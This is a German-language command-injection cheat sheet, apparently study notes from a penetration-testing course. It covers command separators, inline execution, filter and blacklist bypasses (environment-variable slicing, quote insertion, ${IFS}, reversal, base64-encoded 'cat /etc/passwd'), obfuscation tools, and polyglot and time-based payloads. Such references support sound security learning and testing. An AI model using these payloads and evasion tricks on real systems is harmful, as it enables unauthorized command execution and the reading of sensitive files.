Skip to content

Command Injection

Manchmal benötigen Applikationen externe Anwendungen auf dem Computer, dazu werden Programme aufgerufen und diese aufgerufen.
Da diese in einer shell Umgebung aufgerufen werden können leicht weitere Kommandos ausgeführt werden. Manchmal ist die kontrollierbare eingabe in anführungszeichen. Dann müssen diese geschlossen werden.
Auch ist es möglich, das #oast Techniken benutzt werden müssen um blind Command Injections auszunutzen.

Purpose Linux Windows
current user whoami whoami
OS uname -a ver
Network configuration ifconfig ipconfig /all
Network connections netstat -an netstat -an
Processes ps -ef tasklist

Tools

commix

Argument Injection

https://sonarsource.github.io/argument-injection-vectors/ Auch kann die Argument injection in Windows mit worst fit benutzt werden. Dabei wird bei der Umwandlung von Konvertierungen nicht existente Zeichen in ähnliche Übersetzt. Auch können Argument Injections auf GtfoArgs gefunden werden.

Kommando separierer

  • &
  • &&
  • |
  • || Die folgenden funktionieren nur unter Unix basierten Systemen:
  • ;
  • Newline (0x0a oder \n) Unter Linux ist es zudem möglich die inline execution von Kommandos zu nutzen:
    ` 
    injected command`
    
    $(
    injected command)
    

In einem Kommando

Innerhalb eines Kommandos können auch Befehle ausgeführt werden.
Dazu können entweder Backticks oder die substitution genutzt werden:

command `ls` $(ls)

Umgehen von Eingabeschutzmechanismen

Um bad character zu vermeiden kann der Befehl: bash -c '' verwendet werden.

Umgehen von geblacklisteten Zeichen

Um zeichen zu umgehen, können diese von Umgebungsvariablen geholt werden.
Beispielsweise wird aus der Variable ${PATH:0:1} ein / und aus der Variable ${LS_COLORS:10:1} ein ;.
Mit dem Kommando printenv kann nach weiteren nützlichen gesperrten Zeichen gesucht werden.
Eine weitere Möglichkeit ist das character shifting: $(tr '!-}' '"-~'<<<[) -> \.

Umgehung in Windows

Das Umgehen mit geblacklisteten Zeichen ist auch in Windows möglich, wenn auch ein bißchen anders.
Beispielsweise wenn die Variable %HOMEPATH% zu \Users\htb-student auflöst, könnte als Start 6 genutzt werden und als Ende -11: %HOMEPATH:~6,-11%.
In Powershell ist dies noch einfacher, da hier ein Wort ein Array ist: $env:HOMEPATH[0].
In Powershell kann das Kommando Get-ChildItem Env: genutzt werden, um alle Variablen anzuzeigen.

Umgehung geblacklisteter Kommandos

In Linux können geblacklistete Kommandos umgangen werden, indem Zeichen eingefügt werden, die das Kommando nicht verändern.
Dazu gehören die Anführungszeichen, wobei beachtet werden muss, dass diese in gerader Anzahl benutzt werden müssen: w'h'o"am"i.
Weitere Möglichkeiten sind die Nutzung der Zeichen \ und $@: w\h$@oami.
In Windows kann das Zeichen ^ benutzt werden.

Umgehen von geblacklisteten whitespaces

Es kann auch sein, dass whitespaces verboten sind, hierfür ist eine Möglichkeit das Tab %09 welches Betriebssystemunabhängig ist.
Eine weitere Möglichkeit in Linux ist die Variable ${IFS}, welche allerdings nicht in subshells genutzt werden kann.
Zudem gibt es noch die Brace Expansion: {ls,-la}.

Umgehung geblacklisteter Kommandos

Auch werden manchmal Kommandos geblacklistet, wobei diese dann so verändert werden müssen, dass sie die Filter umgehen.

Umgehung von Case sensitivity

Bei Windows kann ausgenutzt werden, dass alle Befehle Case intensitiv interpretiert werden, also Groß/Kleinschreibung ignoriert wird.
Linux hingegen ist case sensitiv, weshalb hier der case angepasst werden muss: $(tr "[A-Z]" "[a-z]"<<<"WhOaMi"). Daneben gibt es auch noch andere Kommandos für Bash wie: $(a="WhOaMi";printf %s "${a,,}").

Umgehung durch rückwärtskommandos

Auch ist es möglich Kommandos rückwärts zu schreiben und dies wieder rückgängig zu machen: $(rev<<<'imaohw').
In der Windows Powershell funktioniert dies mit: iex "$('imaohw'[-1..-20] -join '')".

Umgehung durch Enkodierung

Auch ist es möglich Enkodierungen wie base64 oder xxd zu nutzen: bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIA==).
Bei der enkodierung für Windows, muss zuerst der String von UTF-8 zu UTF-16 konvertiert werden, wenn man auf Linux ist: echo -n whoami | iconv -f utf-8 -t utf-16le | base64.
Nun kann der Befehl iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" genutzt werden für Powershell.

Obfuskator Script

Mit dem Skript Bashfuscator können toolbasierte Enkodierungen erzeugt werden.

bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 --test

Ein ähnliches Tool gibt es für Windows den Dosfuscator, dieses kann durch die Installation von Powershell ausgeführt werden.

PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt

Polyglot Payloads

Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Time based Extraktion

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Argumente nach der Injektion beenden

In Unix Shells kann das -- als Zeichen des Ende eines Kommandos angezeigt werden.
Alle Argumente nach dem -- werden als Dateinamen und Argumente betrachtet aber nicht als Optionen.